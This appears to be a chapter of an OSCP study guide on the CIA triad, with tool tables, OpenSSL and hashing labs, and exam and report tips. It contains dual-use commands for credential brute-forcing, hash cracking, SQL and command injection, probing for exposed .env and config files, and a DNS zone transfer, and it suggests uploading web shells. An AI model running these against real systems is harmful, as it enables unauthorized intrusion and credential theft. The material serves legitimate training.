| Tool | Purpose | Command Example | OSCP Frequency |
|---|---|---|---|
| nmap | Service enumeration, banner grabbing | nmap -sV -sC target |
⭐⭐⭐⭐⭐ |
| gobuster | Directory/file brute-forcing | gobuster dir -u http://target -w wordlist.txt |
⭐⭐⭐⭐⭐ |
| ffuf | Fast fuzzing tool | ffuf -u http://target/FUZZ -w wordlist.txt |
⭐⭐⭐⭐⭐ |
| hydra | Credential brute-forcing | hydra -l user -P wordlist.txt ssh://target |
⭐⭐⭐⭐ |
| hashcat | Password hash cracking | hashcat -m 1000 hash.txt wordlist.txt |
⭐⭐⭐⭐ |
| john | Password hash cracking | john hash.txt --wordlist=wordlist.txt |
⭐⭐⭐⭐ |
| Burp Suite | Web proxy, interception | GUI-based | ⭐⭐⭐⭐⭐ |
| Wireshark | Packet analysis | tshark -r capture.pcap |
⭐⭐⭐⭐ |
| tcpdump | Command-line packet capture | tcpdump -i eth0 -w capture.pcap |
⭐⭐⭐⭐ |
| enum4linux | SMB/Windows enumeration | enum4linux -a target |
⭐⭐⭐⭐ |
| smbclient | SMB client | smbclient //target/share -U user%pass |
⭐⭐⭐⭐ |
| snmpwalk | SNMP enumeration | snmpwalk -v2c -c public target |
⭐⭐⭐ |
| openssl | Encryption/decryption | openssl enc -aes-256-cbc ... |
⭐⭐⭐ |
| medusa | Credential brute-forcing | medusa -h target -u user -P wordlist.txt -M ssh |
⭐⭐⭐ |
| ncrack | Network authentication cracking | `ncrack | ncrack -p 22 -U users.txt -P pass.txt target |
Integrity Tools
| Tool | Purpose | Command Example | OSCP Frequency |
|---|---|---|---|
| sqlmap | SQL injection automation | sqlmap -u "http://target?id=1" --batch |
⭐⭐⭐⭐ |
| hashcat | Hash cracking | hashcat -m 0 hash.txt wordlist.txt |
⭐⭐⭐⭐ |
| john | Hash cracking | john hash.txt |
⭐⭐⭐⭐ |
| hashid | Hash type identification | hashid "5f4dcc3b5aa765d61d8327deb882cf99" |
⭐⭐⭐ |
| openssl | Digital signatures | openssl dgst -sha256 -sign key.pem file |
⭐⭐⭐ |
| Burp Suite | Request modification | GUI-based | ⭐⭐⭐⭐⭐ |
| commix | Command injection | commix -u "http://target?id=1" |
⭐⭐ |
| wfuzz | Web fuzzing | wfuzz -c -z file,wordlist.txt http://target/FUZZ |
⭐⭐⭐ |
| AIDE | File integrity monitoring | aide --check |
⭐⭐ |
Availability Tools
| Tool | Purpose | Command Example | OSCP Frequency |
|---|---|---|---|
| nmap | Service availability check | nmap -sV target |
⭐⭐⭐⭐⭐ |
| netcat | Port connectivity test | nc -zv target 80 |
⭐⭐⭐⭐⭐ |
| curl | HTTP availability test | curl -I http://target |
⭐⭐⭐⭐⭐ |
| ab | Apache Bench (load testing) | ab -n 1000 -c 100 http://target/ |
⭐⭐ |
| hping3 | Network packet crafting | hping3 -S target -p 80 |
⭐⭐ |
| slowloris | Slow HTTP attack tool | perl slowloris.pl target |
⭐ |
Note: ⭐ ratings indicate how frequently the tool appears in OSCP exam scenarios. Focus on ⭐⭐⭐⭐ and ⭐⭐⭐⭐⭐ tools.
Lab Exercises
Exercise 1: Encryption and Decryption with OpenSSL
Objective: Understand symmetric encryption for confidentiality.
# Step 1: Create a test file
echo "This is a secret message for OSCP lab exercise." > secret.txt
# Step 2: Encrypt with AES-256-CBC using a password
openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.txt -out secret.txt.enc -pass pass:LabP@ssw0rd!
# Step 3: Verify the encrypted file is not human-readable
cat secret.txt.enc
xxd secret.txt.enc | head -5
# Step 4: Decrypt the file
openssl enc -aes-256-cbc -d -pbkdf2 -in secret.txt.enc -out recovered.txt -pass pass:LabP@ssw0rd!
# Step 5: Verify the decrypted content matches the original
diff secret.txt recovered.txt
echo "Exit code: $?" # Should be 0 (identical)
# Step 6: Try to decrypt with wrong password (should fail)
openssl enc -aes-256-cbc -d -pbkdf2 -in secret.txt.enc -out wrong.txt -pass pass:WrongPassword 2>&1
# Step 7: Encrypt with a key file (more secure)
openssl rand -out key.bin 32
openssl rand -out iv.bin 16
openssl enc -aes-256-cbc -in secret.txt -out secret_key.txt.enc -K $(xxd -p -c 64 key.bin) -iv $(xxd -p -c 32 iv.bin)
openssl enc -aes-256-cbc -d -in secret_key.txt.enc -out recovered_key.txt -K $(xxd -p -c 64 key.bin) -iv $(xxd -p -c 32 iv.bin)
diff secret.txt recovered_key.txt
Expected Outcome: You can encrypt and decrypt files. Wrong passwords produce garbage or errors. Key-file encryption is more secure than password-based encryption.
Exercise 2: File Integrity Verification with Hashing
Objective: Understand how hashing ensures integrity.
# Step 1: Create test files
echo "Original content" > file1.txt
echo "Modified content" > file2.txt
# Step 2: Generate SHA-256 hashes
sha256sum file1.txt file2.txt
# Step 3: Save the hash for later verification
sha256sum file1.txt > file1.sha256
cat file1.sha256
# Step 4: Verify the file hasn't changed
sha256sum -c file1.sha256
# Output: file1.txt: OK
# Step 5: Modify the file and verify again
echo "Tampered content" >> file1.txt
sha256sum -c file1.sha256
# Output: file1.txt: FAILED
# Step 6: Compare different hash algorithms
md5sum file2.txt
sha1sum file2.txt
sha256sum file2.txt
sha512sum file2.txt
# Step 7: Demonstrate hash collision resistance
echo -n "Hello" | sha256sum
echo -n "hello" | sha256sum
echo -n "Hello " | sha256sum
# Each produces a completely different hash
# Step 8: Create a comprehensive integrity baseline
find /etc -type f -exec sha256sum {} \; > /tmp/etc_baseline.sha256 2>/dev/null
wc -l /tmp/etc_baseline.sha256
Expected Outcome: You can generate and verify file hashes. Modified files fail integrity checks. Different algorithms produce different hash lengths and values.
Exercise 3: Digital Signatures
Objective: Understand how digital signatures ensure integrity and authenticity.
# Step 1: Generate a key pair
openssl genrsa -out lab_private.pem 2048
openssl rsa -in lab_private.pem -pubout -out lab_public.pem
# Step 2: Create a message
echo "This message is signed by the lab exercise." > message.txt
# Step 3: Sign the message
openssl dgst -sha256 -sign lab_private.pem -out message.sig message.txt
# Step 4: Verify the signature
openssl dgst -sha256 -verify lab_public.pem -signature message.sig message.txt
# Output: Verified OK
# Step 5: Tamper with the message
echo "Tampered!" >> message.txt
openssl dgst -sha256 -verify lab_public.pem -signature message.sig message.txt
# Output: Verification Failure
# Step 6: Restore original and verify again
echo "This message is signed by the lab exercise." > message.txt
openssl dgst -sha256 -verify lab_public.pem -signature message.sig message.txt
# Output: Verified OK
# Step 7: Try to verify with wrong public key
openssl genrsa -out wrong_private.pem 2048
openssl rsa -in wrong_private.pem -pubout -out wrong_public.pem
openssl dgst -sha256 -verify wrong_public.pem -signature message.sig message.txt
# Output: Verification Failure
Expected Outcome: Signatures verify both integrity (message unchanged) and authenticity (signed by correct key). Tampering or wrong keys cause verification failure.
Exercise 4: Hash Cracking Practice
Objective: Practice cracking password hashes — a common OSCP task.
# Step 1: Generate test hashes
echo -n "password" | md5sum
echo -n "password" | sha1sum
echo -n "password" | sha256sum
# Step 2: Create a hash file for cracking
echo "5f4dcc3b5aa765d61d8327deb882cf99" > md5_hash.txt
echo "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" > sha1_hash.txt
# Step 3: Identify hash type
hashid "5f4dcc3b5aa765d61d8327deb882cf99"
# Step 4: Crack with hashcat (MD5)
hashcat -m 0 md5_hash.txt /usr/share/wordlists/rockyou.txt --force
# Step 5: Crack with John the Ripper
john --format=raw-md5 md5_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show md5_hash.txt
# Step 6: Crack Linux password hash (from /etc/shadow)
# Format: $id$salt$hash
echo 'testuser:$6$rounds=656000$saltsalt$hashhashhash' > shadow_hash.txt
john --format=sha512crypt shadow_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Step 7: Practice with rule-based attacks
hashcat -m 0 md5_hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Expected Outcome: You can identify hash types and crack them using hashcat and John the Ripper. Rule-based attacks increase success rates.
Exercise 5: Information Disclosure Enumeration
Objective: Practice finding information disclosure vulnerabilities.
# Step 1: Banner grabbing
nmap -sV -sC --script=banner-grab,http-headers,http-title -p 80,443,8080,22,21,25,110,143,3306,5432,8443 target.com
# Step 2: Directory brute-forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,conf,bak,old,sql,zip -t 50 -o gobuster_results.txt
# Step 3: Check for sensitive files
for file in .env .git/config .htaccess .htpasswd wp-config.php backup.sql database.sql config.php; do
response=$(curl -s -o /dev/null -w "%{http_code}" "http://target.com/$file")
if [ "$response" != "404" ] && [ "$response" != "000" ]; then
echo "FOUND: $file (HTTP $response)"
fi
done
# Step 4: DNS enumeration
dig axfr @target.com target.com
dig txt target.com
dig ns target.com
dig mx target.com
# Step 5: SMB enumeration
enum4linux -a target.com
# Step 6: HTTP header analysis
curl -I http://target.com
# Look for: Server, X-Powered-By, X-AspNet-Version, X-Debug-Token
# Step 7: robots.txt and sitemap.xml
curl -s http://target.com/robots.txt
curl -s http://target.com/sitemap.xml
Expected Outcome: You can systematically enumerate information disclosure vectors. Found information aids further attacks.
Exercise 6: Service Availability Testing
Objective: Understand how to test and monitor service availability.
# Step 1: Basic connectivity tests
nc -zv target.com 22
nc -zv target.com 80
nc -zv target.com 443
# Step 2: HTTP availability with timing
curl -w "\nDNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTLS Handshake: %{time_appconnect}s\nFirst Byte: %{time_starttransfer}s\nTotal: %{time_total}s\n" -o /dev/null -s http://target.com
# Step 3: Load testing (gentle — lab only)
ab -n 100 -c 10 http://target.com/
# Step 4: Monitor service during load
while true; do
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" http://target.com
sleep 1
done &
# Step 5: Check system resources
top -bn1 | head -10
free -h
df -h
ss -s
# Step 6: Test service recovery
# Stop a service and check if it recovers
sudo systemctl stop apache2
nc -zv localhost 80 # Should fail
sudo systemctl start apache2
nc -zv localhost 80 # Should succeed
Expected Outcome: You can test service availability, measure response times, and monitor system resources.
Common Misconceptions
Misconception 1: “CIA is only about network security”
Reality: CIA applies to all security domains — physical security, application security, cloud security, mobile security, and more. A locked server room protects confidentiality. A backup generator protects availability. A change management process protects integrity.
Misconception 2: “Encryption solves all confidentiality problems”
Reality: Encryption protects data at rest and in transit, but not data in use. Once decrypted, data is vulnerable. Encryption also doesn’t protect against:
- Social engineering
- Physical access to decrypted systems
- Insider threats with legitimate access
- Side-channel attacks (timing, power analysis)
Misconception 3: “Hashing is encryption”
Reality: Hashing is one-way — you cannot decrypt a hash. Encryption is two-way — you can encrypt and decrypt. Hashing ensures integrity; encryption ensures confidentiality. They serve different purposes.
Encryption: Plaintext → [Encrypt] → Ciphertext → [Decrypt] → Plaintext (Reversible)
Hashing: Data → [Hash] → Hash Value (NOT Reversible)
Misconception 4: “Availability is not important for penetration testers”
Reality: While OSCP doesn’t directly score availability attacks, understanding availability helps you:
- Identify attack surfaces (services that can be disrupted)
- Understand the impact of your attacks
- Write better reports (business impact assessment)
- Recognize when an attack could cause collateral damage
Misconception 5: “The CIA triad is mutually exclusive”
Reality: Many controls address multiple pillars simultaneously:
- TLS protects confidentiality (encryption) AND integrity (MAC/HMAC)
- Access controls protect confidentiality (who can read) AND integrity (who can write)
- Backups protect availability (recovery) AND integrity (known good state)
Misconception 6: “More security controls always mean better security”
Reality: Security controls can conflict:
- More encryption → more processing overhead → reduced availability
- More integrity checks → more latency → reduced availability
- More redundancy → more attack surface → reduced confidentiality
- Stronger access controls → more complexity → more misconfiguration risk
The goal is balanced security, not maximum security.
Exam Tips
General CIA-Related Tips
-
Every box is a CIA violation: When you read
user.txt, you’re violating confidentiality. When you create a user, you’re violating integrity. Frame your thinking this way. -
Enumeration is key to confidentiality attacks: The more information you gather, the more attack vectors you find. Spend time on enumeration — it pays off.
-
Document everything: Your report should clearly show how you violated each pillar. Screenshots of sensitive files prove confidentiality breaches. Screenshots of modified files prove integrity breaches.
-
Don’t rush to exploit: Understanding the CIA implications of each service helps you prioritize targets. A misconfigured database (confidentiality) is often easier to exploit than a hardened web server.
Confidentiality-Specific Tips
| Tip | Description |
|---|---|
| Check default credentials first | Many OSCP boxes have default or weak credentials |
| Look for sensitive files | .env, .git, config files, backup files |
| Enumerate all services | Each service is a potential confidentiality breach |
| Check for information leakage | Error messages, HTTP headers, directory listings |
| Try common paths | /admin, /backup, /config, /debug |
Integrity-Specific Tips
| Tip | Description |
|---|---|
| Test for SQL injection | One of the most common integrity violations |
| Check file upload functionality | Upload web shells for persistent access |
| Look for command injection | OS command injection leads to full compromise |
| Verify hash values | When dealing with password hashes, identify the type first |
| Modify system state | Create users, add SSH keys, modify configs |
Availability-Specific Tips
| Tip | Description |
|---|---|
| Don’t perform DoS attacks | They can crash the lab and violate exam rules |
| Note availability impacts | Mention in your report if an attack could cause downtime |
| Test service resilience | Understanding recovery helps with post-exploitation |
| Monitor resource usage | High resource usage can indicate vulnerabilities |
Report Writing Tips
When writing your OSCP report, structure CIA violations clearly:
## Confidentiality Violation
**Finding**: Sensitive file exposure via misconfigured web server
**Impact**: Unauthorized access to database credentials
**Evidence**:
- Screenshot of accessible .env file
- Extracted database credentials
**Remediation**: Remove sensitive files from web root, implement proper access controls
## Integrity Violation
**Finding**: SQL injection allowing data modification
**Impact**: Unauthorized modification of user roles and data
**Evidence**:
- SQL injection proof of concept
- Screenshot of modified database records
**Remediation**: Use parameterized queries, implement input validation
## Availability Impact
**Finding**: Application vulnerable to resource exhaustion
**Impact**: Potential service disruption under load
**Evidence**:
- Performance degradation under concurrent requests
**Remediation**: Implement rate limiting, optimize database queries
Cross-References
Related Topics in This Study Guide
| Topic | Relationship to CIA |
|---|---|
| AAA Framework | Authentication, Authorization, Accounting — implements CIA controls |
| Cryptography | Encryption (Confidentiality), Hashing (Integrity), Digital Signatures (Integrity) |
| Network Security | Firewalls, IDS/IPS, segmentation — protect all three pillars |
| Web Application Security | OWASP Top 10 — primarily confidentiality and integrity violations |
| Active Directory Security | Kerberos, LDAP, Group Policy — access control for CIA |
| Linux Privilege Escalation | Violates confidentiality (access to sensitive files) and integrity (system modification) |
| Windows Privilege Escalation | Violates confidentiality (access to SAM, LSASS) and integrity (system modification) |
| Post-Exploitation | Credential dumping (confidentiality), persistence (integrity), pivoting (all three) |
| Metasploit Framework | Exploitation framework — demonstrates CIA violations |
| Nmap | Enumeration tool — identifies confidentiality weaknesses |
External References
| Resource | Description |
|---|---|
| NIST SP 800-33 | NIST guide to CIA triad |
| OWASP Top 10 | Web application security risks |
| MITRE ATT&CK | Attack framework mapping to CIA violations |
| CWE Top 25 | Common weaknesses affecting CIA |
| RFC 5270 | Internet Security Glossary (CIA definitions) |
CIA in the OSCP Exam Context
OSCP Exam Flow → CIA Violation Progression:
1. Reconnaissance (Nmap, enumeration)
└── Identifies confidentiality weaknesses
2. Exploitation (Metasploit, manual exploits)
└── Violates confidentiality (gains unauthorized access)
3. Post-Exploitation (privilege escalation, pivoting)
└── Violates integrity (modifies system state)
4. Proof Collection (user.txt, root.txt)
└── Demonstrates confidentiality violation
5. Report Writing
└── Documents all CIA violations with evidence
Summary
The CIA Triad is the foundation of all information security. As an OSCP candidate, you must understand:
- Confidentiality is your primary scoring mechanism — reading
user.txtandroot.txtproves unauthorized access - Integrity violations demonstrate your ability to modify systems — creating users, adding SSH keys, injecting code
- Availability understanding helps you assess impact and write better reports — but don’t perform DoS attacks in the exam
Every attack you perform violates at least one pillar of the CIA triad. Understanding this framework helps you think like both an attacker and a defender, making you a more effective penetration tester.
Final Thought: The best penetration testers don’t just find vulnerabilities — they understand the business impact of those vulnerabilities through the lens of the CIA triad. A confidentiality breach might expose customer data. An integrity breach might corrupt financial records. An availability breach might halt operations. Your report should communicate these impacts clearly.
Last Updated: 2026-09-01 | OSCP Chapter 01 - Introduction to CyberSecurity